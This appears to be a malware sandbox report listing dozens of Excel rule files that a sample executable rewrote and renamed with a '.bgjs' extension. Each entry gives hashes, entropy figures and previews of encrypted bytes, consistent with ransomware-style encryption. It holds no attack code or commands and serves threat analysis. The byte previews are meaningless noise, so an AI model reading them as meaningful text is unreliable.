Preview:	<?xml...2.l...W........n.....4.2.8...lI o.0...I..w.B.........~..@"F...L.z..;.6D.:.M.(k...k...m.q.X.....f.P.._....3..f.L....f..~...7,.d...a.`.or.Nw.....\K.i1.2"..}..L....N..fy....... ..N.T.N%.I.l...Y...6u.W.l..9.I..v.S@b....v.4l^..x.L.w.z.~`.@...2.LC..m.........n.s.fQ..q....~..........$.I.n......]...G.......;N.paS..W&.y{.0..h...\|...A.Q.%B.h.>..........Va.....%.."..G..H....dJ..W.-o.}\......,Q...]/..P..6.O.=...D.#...Ik6}..d.3........i...oXm.^.q......v.xG.......{TN`[.Q...?.oq......T.Yt.....}5#.y...TF.*%~}...G(........L .^...j.b..&z...a-..,.../...%.}.4.ekJ"......e.3....'......@f....(Y...s........;.....&.....l.=.Y..s.....Sst.r....4.K.gt....KzVCG.J.%1.......a.6..Z.61..4...V.L..9...6.#.&..G.s=m...F.\|......p......cR.q+F2.@M.Q....W.#;...b"...Z..1..:..l..s./....KZ{#.?..S...5.2....."..."y......N..y6........l..x.....c...a....vI.....u.c..MK..4.LQ.b.VI...9.,.O...}....8K........l.5..(<..[....( #."..H.:.p.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.835448038765
Encrypted:	false
SSDEEP:	24:y/0ZlFBqocJRyBB0m1zYT0EoCsMq7j3YVyRT+yGuQHMhGMb25GJbD:bfBq/RwCqzvEft2QgiiQHMh8GpD
MD5:	D65F05C8D3E8F654CB1D91EFFD092956
SHA1:	8F3CD0A91494B271D9F9A5BA703A947370D21E06
SHA-256:	37FB140BA15E034DA034D3B8BE375AEE77307D5A3C13E6F23021B82FEC01B64A
SHA-512:	552E42E2C666BDC996D4B5C9AF4CA39CD05B5EEE322F9901EF34652C37631A91D0D16B4A1FF1C81A80F74834A412A3038709CADCA14E7D68E910898CCA064BA4
Malicious:	false
Preview:	<?xmla\|.:....o.......?....\|.....?......eF....K..h..-..'{)z4.W,_.A...k,I........V.]..]...@.2...i.H.,].Q."..........!....5..PG...........FT....[.g9....?m...q.QO#G...e../....B.qKC.....1.X...ELK...F..3..g~...F.X.{.%..9....]....Z6..N..3......_ ..#..J#..>._FQ..3^.jr.u..w...#].....p..$O....D...=...."{l..:~z....L.....k.aS\..%.k.=..QwG.K.t.v.....f..S.....&#...5L...1z..,..o...j...RU.VC.._r..p..1#..k....M.H..\|.rT.v).../..q.?..i.,.......O...?a.+.w....q..SfR..o\..##I...<....jq..vS.4...s.O.B.`.O.XMM....R..{.,R...I...=.R.P`.\|.P.....uS.8:T.3..7...\|...3Tq..#..t^.q.A..$.}..jl.z..~...t....,x9.RNs.(.x!.5.....U..@.Fw-R...\|On..eo..@se.L...p.......-n.....$#...H.1...{...D...+.Q..k......u.....-Fn..:...n...j`\|.%#.....#a>..9...;#.QS...A..=..f....q-...H......N.K..2..a.(.H...B7X..$....M..MR...a...n....Rj4acy..v.j...I/@/..J..Q.2..@..T..D...E...s...D...5(.!.3..^..H.q.X..........z...P....Q)..hK7_._.....p..D....Be.$..G.$A..s.a.....?=6$..\..T.`.........Z

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.92099635160562
Encrypted:	false
SSDEEP:	48:F3Px57rQ/CKm8RkDt76+6Xn0NugecZx/QRRVfYY8LyEbdPTD:FJ5A/75Qt76+6n0wgLL/EwY9Ed
MD5:	6355183F682F672444097DE22BC18ED2
SHA1:	19D462BD52E50C97030DFEAEDC0F8458C11EAFD1
SHA-256:	4292AB891C583FA6E5291166C7FE34602C567C4AE6F7486C6941388589A9DDBC
SHA-512:	F76CE3C095AEDFA9BCB97CB863A45A71347DF85454B89B59784AFE77DE56AEFF896045CB436BDF0AAE73428C299ABE0307928F890C6F8EF87062B34724AD36C1
Malicious:	false
Preview:	<?xml...\| dx....j.....% / }..k.~..k..@..........M...8.t. .).........Y.6..g......+...wZ.._...n..\|E.&zn/.y..O..L.X.E.^...~...E.........t...UIg.....b..+...D.9]..II%..].V.V.=f.@..\Fo.U.i._....7l...f&.oh\|..g.l?.NI_...X..O6..X..d........?O....yS.........."n)2BM...>k..E..#*D.O.Z..S=...M.G.g(..?.f.X.....q.e...CTK4.S...e.....c."%.....Z..G;.....3!%....g...^..07.........q..1../.#.'f..;I.H..!d.=.S...U.K.f.$2...@'..j....o.!.....q..J..G..D....9..a..#..FW.H.'....Wc0P...t..-....J\....l....I.&.qH.H..[.v..3...^....`6..X...=....p\|T.B.h.m..=..Z.\+....Yqvtv..8`.Y..",...e.R...)..^Z.....WX..6bNi....H...>.e&..Az5.H.d.t..m....4..e.>...i.`....../..:.u....4j..>....k..8tbv...b....Mx.(J".<7..).!.......f...dv.o....$0..~v........8....f.k.u..A.,3.Y.jl...i...".{.g..ZQ.....Kz..p..~{..r._+..v.\|\+...7....' Xt...p.w..y>.6....W....."..V.j..\T..t$.h..hx5E.g...i.(..a=%..l..........G.RX.d.s.U.[@.w.W.J!.7z3+...I1.6.yt....x(....V..<...<,t.?,D~.J,.".I{...?.q..l.+d...S."e..".!}....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.864933234364111
Encrypted:	false
SSDEEP:	24:C4ke0ti7tzAFhEX6APni0wlNPkZlNruqV7mX0dVFbcfMPLIQiAlXhJFrr9BByF2H:fkrIAgvvi0wgZru7X0/FbjZicxzrr9Bb
MD5:	0DBB59A58C1F5383DF60AB4E4C1231B6
SHA1:	3CEE2F3367701EC84EE16138CDEFC7140BE095F8
SHA-256:	5817157BFF320CEDF8E85A025C396FB8A87751B4CA9BCCAC25BD4621C7E78F76
SHA-512:	35572FD69D780B34375717825CED52F5FE476586273EB2A6D3271B920D53A91820481C6994670A261A78A38916484A618929E841C3CB3E88E41CDE91540797C4
Malicious:	false
Preview:	<?xmlc..s.C..)N...J....&.3.........l.wn..w.p.>.M\|.7.......M...(.....t...#.T7`...(q9.<g...Zf.jtAu...E!:....tia.{....u...JR..G....n.{.r.#...l$.z..W..S.s.V/._X.;.....~.$....%y./.#.%.l-nKY.1..{f..>.G.9n.......-,.\|R=.ty._T(r..P.........pO.......U<mw.sQ..o.y.....,.k\|.....`{a..`..4<.,.}..9}..D..5.+..^.4.U..Hx....M.R.xN.]...r.....I..+.V..'..lrk....k4h.O.y..p.....]..:.3...c...X.v.)=.`q..G......Z.R2s..b.7dqfH.....p..:C^..'....M..SU..O.r3..G..=\|9.........t...1......u.2.E...KE.8.y&.b"....5.H..#.H.._.........4.9i.p..$.....P..C.##l_Vtl.B..rL..h..f..O9>YN............{.,ld...j..........._..........A.......l.4....{L..Z...A..~....k0.=.j.A..)w...?..n....N.e.9.....#.N.M.]..<....um.(3..8E.\|...D./..*~......g..Z...^..K[....#.I.o@.....#]."....-.O...vt....h1.>............F..%t.v..U.......ZF.{.gF...}"o>.........r..p.....R<.. .(...G..../.B8..c.fI.G..=...i..#RK?NK.2T...XD.{i.'6yh.1.........].....O...q7..,.r...~J......<.X.3....v...7Wc.p^..1RD.h;..C.W...!...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.783741628701488
Encrypted:	false
SSDEEP:	24:YLyvtiCTsVo43INojuZUmd9IbhxZuZqexGRYE5hODFobD:YGvBsVo69CZUmd0fP5YIhOZyD
MD5:	BCA199EBCB574EA5B30ED8B1E9B27DEF
SHA1:	07E6896BD65F8AA3525D10708AAEBE5AE381E7E2
SHA-256:	CAFA23879D74C4EB3E7B1F09144BAC4FAA9F9ECF9615BFB267DB26587D9E0BA2
SHA-512:	679E3167B302208EDE57FCA71D5123D82889E0B29B5BA336B861AA3E190856DE7B47F2051D70156F269206E2CED00DB4FCFEE8D75B8422CDB502261F61ABB64A
Malicious:	false
Preview:	<?xml....&....4..Km....m..xl....K..O..'../...y.1...E.U..t.E.pP.}.)!..\|.9.4Z......q...$....&f....&....x4z[u.....3...........@q..L...).`...=....hCr.[.$<F.b...~.1..&.k...p......0r....N;.\..F...T.c....a.F...G.....mb...X..,........G..1..r.N..k.-.r.{...f....c...9.U..w.9S.+..&<ua..KB....j..!.fW..=a.q'..$5.....R!.'.-.0...z.HA.bI.%..1o...]5.sL.f..E..._.h<.....V...u..iw......U...ntY.<.jd.d....Rmo%$n....J,a....>@.I........V...L4.YO..BY.....Q.#w.w.P.S..;8..A..P..4...{...?.%.x......(...A+......M.B.M....b6PU j.Vp7..A@...-............oF.`gMxGQ-g..x.O...I...9.iyy.n..i....."...O......k........\|=....V..)........:.$....Y..S+........B'...'hW4Y.v..4..(t.s.$p[U.St...C..GP,.y......2#S...G....>a...=j..).`jD+q{...5..^.$..2_r.5.b...1.$..{.....ikL..-......e....'P..,8D.....6.....4..=WBmS...@...l..QF...s..Cqz..F..V....41<..[1V~.z..............;..n.(..d^.......3<t.C.(...e.....T{.+..l...o..fhj&..W....F.!h.."Em.@.Q...piW..ELM..N.0.#....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2n

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.8886647559324325
Encrypted:	false
SSDEEP:	48:E2aU69Iw1cDCy+mpAB123OwDfJubR6wHhmD:E24Dc+DmI12IRbB+
MD5:	0FC290864F4C50B0EBB6D8FC366BC814
SHA1:	32570DEA65AE9ED85BA310F118E3CB4CD5EAB7D3
SHA-256:	CA6633BD25DA2CD50FE2568AF4E13469E420228D8A7912F2EF1EEB901BD3C540
SHA-512:	7CEFB73AAB832C2294A8337DFB8723587D798DD1641E74551839B9E41A8305A4A0D99065C36628AB04AC2886C9346DB0EF5152A7C4FE96B559AE353853F14EB8
Malicious:	false
Preview:	<?xml1c...d.../...H...$.}].vf.a.....b.....j..."..{.}.mt&..]...DI...8...=...f5k .9..;a-.r.Le.P>../.,\%...,.;5?J.<.Y@..5.G..... l.0.....S....$..49...j.t.&.....d..y0.'.~;.......Z..2.0.....%..tq.'.h../.\|...fl.].`T..}.coJ.x.k......X\|$]K....5G..R.....m<.;3...X/?.R.4....Y6.8.r.V0:y.k...+\...!.d..;k.U...d...f..$.#.7.L.)B..6.....+...R.....7".:.TW5N%b.$@..._r./,..\|..wH..I....!.Q.?....9M......<_.>.AZ.ZE..T{U.w.Gq..C...9=O.H....D..5$.V.&.n^...p.5..6`#BP.tr0..[].z.o..A........K.....d.......%..... ...XM.<...d...]..Q.S....A=3X..6H............GM..Z..+.J..>.x....!+.U).P6FG1.Z.>.S...W...z.......n.{yf .u.X.U .v$.$.V.O..&.$R..EK?.0.]..u).mA..,. ...d^...].X......>=9....._.......q.r..o3b..i.up.i..N._2[^..fJ."....u..yeh....W.+7q.....-S....I...W..Q.L.8.g.A...5h....k.w.%.k.}*...j>...F.KTc.1e....../..=..]T.i.f.84..d..F..yz..3Q.u`2u..\.F.....)i0?.+Ct..h1.4.L@k..6.,..3....<,(.v.Rh.G.....m..V.....0.>..Hbab.....v..5hoj.I"..@fYl=..=B<v,{m}Y...t..XTP...&~x....oc$..?.qYM.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.817647982215547
Encrypted:	false
SSDEEP:	24:YvikrVVy4+fjF9lKDndj6PuBtA3CbZLfW76EsaQXO51TVsX9ZAbD:gVpgvlKpuA6YZfNaQI5s+D
MD5:	8C8EE25E89DA19ECCDFE7F73AB3B4456
SHA1:	A9C850FBA840CE230E24DCBE34E6F7E0EE4D44A9
SHA-256:	4F8D2EE6760071EF54A64D2B02D65E92B6DC799AAF64FFA418A08C2AFD8E580A
SHA-512:	74F5BB7EB90D011AAB5476417980AF3BC41DD7E2D1DF3612E41901B567F1F0259F8222EA5A86E204537D5B59F74D73719CF0BF0E4646AD5A09DDA1FF39971261
Malicious:	false
Preview:	<?xml%.U...F\U.....>..P.....YRY...p..?K..h...6l....R....U....K.r2.K..&....9.e...u&.'.}.N.<..D..>.E..v?.d.B\.^....:`.......=.H.U....+.r....P......e.C..??].,.!...T.....k...".2...f.M...pKY.D....b....E.`.U....3I8;...d.)....\|C...W.O......Ut..01.@...a...)...l...?..Zh".n.QA.Q.L..wo5.1.9.....W...a?<B..T..fz..^..?]{..$(..9J=..!.c..:s.d3.\|8...;...q..E.e....H..:.e.. -j.(].........]..O.~...@K...L`.F.z.bche...[...cE.\].U...waY.y...g...h...$FL6..p...k...hq..K...x...p....8..n.2=..P.?B.%<.m&j`.h...4..A.i.P...1..wFD+.....IG#w.@SI...i.f.M.Z.h> Q...k=....g..:K...&.I......Ci.......N.q..mR.-.R.U....7-.YsP."...l.8...$.2z...t...C.y.-.....zo..).....H...Z....{....}.[Ib..?..r....=%......Da..........\....X...<~.}..:..._.b..<..Q....'...NW:....O.(...\.3....fcS.....5.*D.k}.b..r...h..~xX.....i6!P1{R......Q...<b..Mf.....c...Ym.P..M..}.m)Ad..]{.:..%^o.+.56[..AP..W,.6...].Y..J.X.c!.....]6y!^..w.71......D...d\_...0/.(..Ts.(..O[.U.N.....E.../.7lFf..q.K.k9n...]{./.@...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.850421505261343
Encrypted:	false
SSDEEP:	24:IZ76S3lL/HuFhQ8UKEMJguUFldJq8zwJKQBlsDDUm7YQNBMr+nU9b+cqHbD:lcuIrKE9uUFlaiwEOl8DJYgBMrGcuD
MD5:	C8940CB7C5FA3DB964BC596D5B795325
SHA1:	751DFB4AD894B109CA845D7E6546D1C6E1C44EC5
SHA-256:	6D4A8646490B81A1060968586C671641F9D3227D517F5CF05EA8B1577C218186
SHA-512:	DFBAEED9FBF98FCF06E242F2F10D8C7A7BA947045C863A319E3A20D5754607E976258173779B254FA719B22D83132666E1C2798F665402C97619EAF723AA6B2C
Malicious:	false
Preview:	<?xmlGV....P....{...'.....<bV..#."X1T7w.1.........~-...:..%......P..;....J.R..L..C"O.Yd..'.2.......R...i._J\.x.V.E..r,.f...}.on\4d.K..qC.....I..b.....-...+.X.[.}R.........`Q....b...y....M..CM..ho..G.`..5.}d.n.i.......&..'.mI.#..........#....f......>..I.-.(.B.E..!..t...O`.& ./....z.rH.u.....$.d....S \xe........>)E.H..~V..4..@?r.}.F....O......'.9.iv7..<..1/K..T.a...R..`=.y.}.71zA...=.j/..6. ...,..U...)w.O..M............]}.$\|.s......^g...o.........s......=.+ ....v.\|w.....:b4.....C4..f...{8.. ....?..P.Hz.pRD.......'..~....=;.,.#....h}................-.T^.C,w..R.#...\.fQ.....pe..c.....G91.g......-YI(......{w..o=...cm..``w...o.g.V....b..._:.L.h....9-BD..Y...g.f..)..x....e^...M...k.i0.g.x.RFy..7q........@_......=t8R..t...@p.N:9.1...0.._...3.J.nuB./..G:26..F.2...(.N...p.._..........}[V.~..(...R.N..^.(...f...X.y...O.;..3D..Us..4.9...c.HM``..l.N+.Z.<[].,.m+.L..J.H..82....z@'..H...2..0..O..8.aR1....+:...c......*JBRj..t.".....u.n;]..X..!.s

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.91058272767099
Encrypted:	false
SSDEEP:	48:mySdCEec9M+xwCqEG/BfnOQ6l3rP8n+52whiI5OUD:mvdCerOECOlq+5diIwA
MD5:	393B0D08E2A043CC8C9A8131399AD5E0
SHA1:	A2C0ACDFB9D5EF253C0EB483CE3E23E1E9B67DC0
SHA-256:	F79898482FA3D61E4E042B82E09AEED14F98B43FEE805F8BB90C0C85AE7AB33B
SHA-512:	2CA4B6412543173653D0AAC45EC82688B6D3B4769D3F6E4BE8B979FF4AF3BFF6F805AA4C6FC050F8DE673179340D037944DC7B25CA0C05E738DBC707EC344D71
Malicious:	false
Preview:	<?xml.2..........sC.....F.Q.l.....G2.:....[:j.`.....R.X...=y.;...j2.......L{t..tb.Q.P`..z.J.y...S0..:...U.......F..~.........b......A.Y..$.;{..,e..7(....F..."...r..c...m......{<o..)...F..@../..L.......[..>V@u..J....z.......S....n{.!........JYWH.j..e.K[..a.~3.#.......g.A1.!=6...`....FQ..r/....v.v..t.]..<_2.l..{...F.=..H.i..8..j...\..%.5.O..W...&.d....HL.C<.".u.....8...`kw.M.. ...y.?..4.^..w...2..%...t..,.p....I...c.,..iE..a.^?..I...n....J...6...d.....Ek...+..W.'.....D..\|...p2.J.....j8...C...{p..!....s6.+..Q.M..Y..k'...j3.....)...u./.:y44Bj.(Q...ge.......9.............t.U.)p.~.q..y......g....=..B .F.r.....j./.v.W}....#..Q8....#.}....By.m.;W....9......M.s7...E$u...@0."k.^...<+..#. ....p..Wj.....(...../...~...y..../G#.%...?.C..MS.9..-........CN\......).QQ.mAP.{X.......7..;...h..y.t.......p!...d.g...J..['Z....,^.62.(.E6...r?..;.#.......&s.F\_.&...{..e...k..@.D...'\|6.....u2...u.,........7..HR...qW.q.57.:..&'......HI..]..Z.3a..}YDT.. ..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.858189962466901
Encrypted:	false
SSDEEP:	24:gMzVX2vRID4N2pRh5pfONG5FGqTtD3d41fN2vgxADEKBtx0+b3dgzVgHB0ObD:7z6eDL0etDy1f/AYOxPOzqBbD
MD5:	22FC876A581DFCCBCB31FD38F91C345B
SHA1:	88E863D04C7623A1ACD4131594C92BFF2CC78D60
SHA-256:	1449DDBCBAD562CECA8471A0D2F003F294832F76283018DF3EC2A98C1D31FD9F
SHA-512:	CA549C6CD21F248703D6AC8C9DA9EE9399F24D03692D8D0A4C2F9667C162BDF393A68CF6ACB26D2E41EAF9AE74A1FC933907BC15B56C3BCCC9662B6194ADB8D3
Malicious:	false
Preview:	<?xml6:"...50MqY.....7g..z/.&..c,j<=.....3.S.}C.+m...$........C.. 9.=.....B.]...+v.(!.b..h.F0R..\......%.U2.]:d......o.Il...........tS9l.G.~I...=h....Egd.w`.;....p.c..E..).+vK...l ....e.._4.....e.q..O,.W:=.Z..Y..\|.).G..~{.w."..`......B...z[.9-./.8..'F[w....F...i....(..a...........c.......h+i..q.;......d.1.Pz&^..9..H.+..U.."..#y3X.......(.@r.Gk^....O^...NK..z .r....c.}.w..._../6E7.u...{.z`-..1......6..$...H9.D....v..a.\.....\|.B.K.X.....M2v#g..m.WH..]lih!....n...y.9.F6gi^6..4,.\|...N%.D....eM..@.Q.N.......E.a>u( ..g.....X.7.!...'.m_;.b.f..#..;X_..S..I......l..DC.SN.o.&[..Z.ZS4;..i...]7.)..T..6....40...\..4..I..A{..`.z..{.......`....P...n..<..[..q........H..)O........G.z..q.8..#L._."m..".G.}MB.Q\...c).vnY.4.B..V3.UPFS#....s..6.ag.5...8.Q...@....s./.p...5...7..m...]........b....-.3.Hv...U.i..SUht\|......I..wS..!.0.......!Qt......;'.[.....p.a...A.{....}...H#.1......U.%...dXI.E.i7.=..;.d"..J.4'q.3.Rz..0.........)N.......t.fD.......R0I

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.870677749070006
Encrypted:	false
SSDEEP:	24:wxifcE+2on8FkaynhtFThV26XNFkyIBJn+ahi0dsP1/ESnZ4k56Ocrj3znHR5pAX:NcE+2dyaAtFTf2YFkyIfnNo0dsP1MyZR
MD5:	2E65CB5F5CA568AA48E8180F3F003B08
SHA1:	394926A32CD52CB876E577466DFE0077BDF4093F
SHA-256:	7DFF7DF2395AA93225CD62B7A9BF0A43F9F0B946553355FFF13F3875D69C13C1
SHA-512:	B546BAA255AA3FBCE499E1965651153022044B58A47689A9C7FEB021465654A02CD27A485F05C90820537403AAA644CA7B1F1EFF425763278649CA90CD7933F7
Malicious:	false
Preview:	<?xml. !8.\..1...)>D^A...4(...:....H.y#bl....DP..........y+.F.4q=.......D...X.... ...aNw2v."..\|z....PKx.(...0.VR3.bPT..:U..s.h..^.Q......i2.YD..Jh....f,....h....Xg..W.......o.tX(.x......y..t#.y.kF.-7F...z,fH.....U...#....n..&....7U....~b.$.4.{...:...<.........V...t'.h...... !.{W.F s..c..2........t.Ke.a...p..3Y....:`..h.'....W.`.......C6.v../. ..%.9.P~....b.X...#n...'...#..M..$.X.&B.%.....Hkd1.!.f..l.eW.....J.[..V.'....>.]...J.;...iCx..)..d.....m. .......u.w..F...FJ!...>;hXD....h..."e.r.......G..OM...qS..V....... .^{.......C@...[A............w..^wo..."..9.7.....w3......"G....H.{...n\|'.-X.}.6Q.Fc.N%>...>z....\.>..PE...........p..5mp..mN{...Z..L..+..B.....G..Z.o..........r..4...'E.....y.#.6ff-.C..L.R..Fi........M.`......jpg........wm..'.U........KL;.........\|......#[./......G...0.....E.Bl...V./.B%q........m....-......$..y..k..1.....jb$.)..@.g_..`"&.4S.[.......H.~.FN..@....'V....{L....nR.t.mt..xg..,.O#..]....{...,...\|.w....F....V.j..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.790563556926607
Encrypted:	false
SSDEEP:	24:xf6FZkR2ZVs1HBZcJRwPriv4P8xtdjcGcMVuz8ZVFhDl1mBu6pw8JbD:t6kQ/2hZc+gl/djcGVuz8ZPllUB1FD
MD5:	0D3252640290A3873C17868654880D37
SHA1:	DAB0DE391DE3CEFD94881E97F930BD993C4C2E2D
SHA-256:	77E3CD6B0DFC2EB1D861C6B69C357B5A8E25478C0AE853392EB70C195BA1D23E
SHA-512:	F213227BF1FB0F66BD49E15EC230018559DFFDB596A0A018816FE650938479C0B5B762A11DF3EAC96B49F3D4644A6A4B49B9D567A96BEE69B796B5B63E4A9930
Malicious:	false
Preview:	<?xml.E.#:m....r..$..K.3..5.0.(.L9....%3alW....ZC<..`\..)E..........T5g.$.z......,....tO...g..>.X.[->g...h.[.%...]..6..T..RU0........C....j.N...t..d.o(._....}...ny.<./....T.gP................<(......L....4......Z..b..........T.....O..,YGM......s.....L.e{.4..:6..p<`.....!8^NVS.;..[..v.<...{.........~.7..Q.N..3QEYYN..I...I..z....!...[..`.... W.E..D...<..v.d..@....6..O._..]....dy.9..r.[.BBv'...d;....9.. .7.eQ...[...v.:\|............@P...##q.....T......B..M...r..kw...k.....t..x.Y...I.o...s4..;..r3kJ........-s...)..(...W,..>....&....f.K.\...{.J....R..ft.%..J.d..C.Q.F.S.-..$..!H.U.s...\|;M...l].........9xv#[..2a...?<......R..7%..1np.#r.3...K.Y.....C..p;..LU.x.#^.&...ne/.Ma.9Ef(Ri.i..h.8...8a...8H.....a..........).C..k.}h?..ScH.6v...^..\|....=.-EM.\..=D..]W\....#?.=.O..CE.#mX...Nb..F...>......G.T......`0o...KiK.......U....7.LkD>P...HT.W0....+..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.96087230177245
Encrypted:	false
SSDEEP:	96:Wt91GjeAktK6eM6wsLa/rfcFXti5rbqDfhQN9GLKhBEN71:q/4NzMyTtkrIhy90iBk5
MD5:	B234665B82CC108CF32A1F560E43465B
SHA1:	AC65C39E4B2F80B1D7B7ADD4310DD2BF8FA39253
SHA-256:	D636FC578C0DD7DCFD3C8BD3E6E9BEB9EFCEF282B7926A5BEE858A78ACE26884
SHA-512:	28B907F25E2FE4612F5E223ECA0DCD5F7FC762314E14F7840253313A210E0E6A86D95C0B2483BD16D8CC87D8DB09314258650F4560192E8AE45E3495ACEEC9B4
Malicious:	false
Preview:	<?xml..s.%9Gx...u.@....)..nr............W......e...q..r.e@g..{....V._..S.Mj.%...C4mRT...k$.-...6...U...p...Y....N.........Q..3..0.H.......Ayx2.....0..../I..jxh..\k...2...K....i{..6_.3..._..Ybd..).b..Z..G.../.......f3..0./...u.2,........v......\|c).1.D...!!.. c.....P...6...<d... ..N6..{...93..y..[.2...0..ml).Z:.....@G...A7....1`..T....!....Oi. ..3_.g.n3!..`..#....z.`.._.;....}..1......u......5...{....}.o.....F..,.3X.#..-in.XJ......_...cE.:..w.{Sv...A...........Zu(,.....e.......IU.vq...X.4@./......;..i?...m<t.<d..\........&QU...c...To..u.#....w(.w..[.f.O.fZ.,.3.....B6......'.?..0.C.+8.QiF.b.;.m.I^.[.....7.....bO.....p..L5H`...@......;o4..+h....0./...MC..9..0G.}g..\|I.$..~.S.....5...\.....#n...Y..2I.g7b.M.o.dBKY.<.d..c........k.M.\.M1......>...@.v.5yM...<\......@Y...oo}'....p%H.....F.T.)..+.J.h.:.RB.....m...?...e..S...._.r.<....,..P...f....YD0..f}u.H.*.+..5'...D[..<E.&.\%k...S{...E1..d.A.....(.E.........v.r..zt....K...0...3........

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.935322572373239
Encrypted:	false
SSDEEP:	48:uryiZmrn3M93YLY7iWCHaj76ns5lSdJnnzDLYg4mawvqnGWkv9Y1syEYZABD:fikcuLlHaRsnnzHYgM+cXm9RIAp
MD5:	4A69452829D302D5EEF7F8BB0B88005D
SHA1:	F9483564502E3177F99CF5EC95C1EFB496A3F93E
SHA-256:	79CA64DC7A4FAE73A3263C99C9D5D054B752DC1A25512DF15239E92C9B2F0CEE
SHA-512:	76B211026B0184EBA94757EEFFDFB150E11E329703122C9E016526FBAF30445338688DC4042CDA0718E9641758AEA758B5B1FD75ED5D54E939F29766EFF8C4C0
Malicious:	false
Preview:	<?xml5.q.J.GF[..+....-..q....7$h.,....i...:.mU~...o......^..Q.l.o .f.....'mh....N..R....e......k...~wz..L..+. .Q..).;.q..It\...N.......f.....o.G..Z..)5b....3...K.L}..^..X}.mCfjnk........}PE...sc ..Sj...e..kK.F....9]^.P3X.....3....1..)a...]5.0.g$.. c..].U..[A.XO....s.."..4..e..2<.\..".T.X.v..o.$.?.jg....k.d=...$.\.A....[......4....CX.2.....<..C....5..'.h#.M^...(.3.c.(..P.j.V..C.....%U.....Q...5..$...'t.&.x.Vn.l.\|.+..&"......<..2ks..U<...g\.q..{XZmd.$......-.~...f..$N..N../.....>.P..Tt....4uTR..i...-.N...:7n.S...+f...... .].n_}.=.=H..A..h..D....$...5x...,Y4a%Y.._=D......b...5Zs..Dg =..`SE..y.N..n.Q.&.....{.S..+.f.80f.I..M.[..3.3.1.;...mN!..C...Z\...<5m...6bJ.....p.Z./B...r.......;....Pr.gn.....p." ...2.v...oR..0.....Q.....c.-W.0X.K.B.&.M?.S4-{..............v>..A1...I..-.8...tJ.}.4C....#..?,.".9..(...q.eB...!.............y.w)m..2..<...%}7..e.PQ,..~5%.o...-A\|..B.....v.%...<Dz{FW..&.v.h...)....c,K..!...\..t.\|@.@............8'....\..F.W>.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.938876253131954
Encrypted:	false
SSDEEP:	96:KRiQwfnV5x5dv3qFpmP7J0EOUgSHejbGj:Xb/V59QmjJ0EOnS+Gj
MD5:	EAFB124293DCCF74F076B7C53A2388CC
SHA1:	7264596D1158E27BF341C3EC7BB033288D3814BD
SHA-256:	E78D95A5E36A392A53331D0B20866C0BCDBCF957A92D6D2707C48A411CC33E0C
SHA-512:	2DDCD1FCA63853DD0F6628AC0D36257C11A30C7E9770E23BD8A51561FEFDE7D4A94174AFD1EFD7AD4B7069D8C0A5938A6AC88E028DCB98CB4C23BE92207D9AAB
Malicious:	false
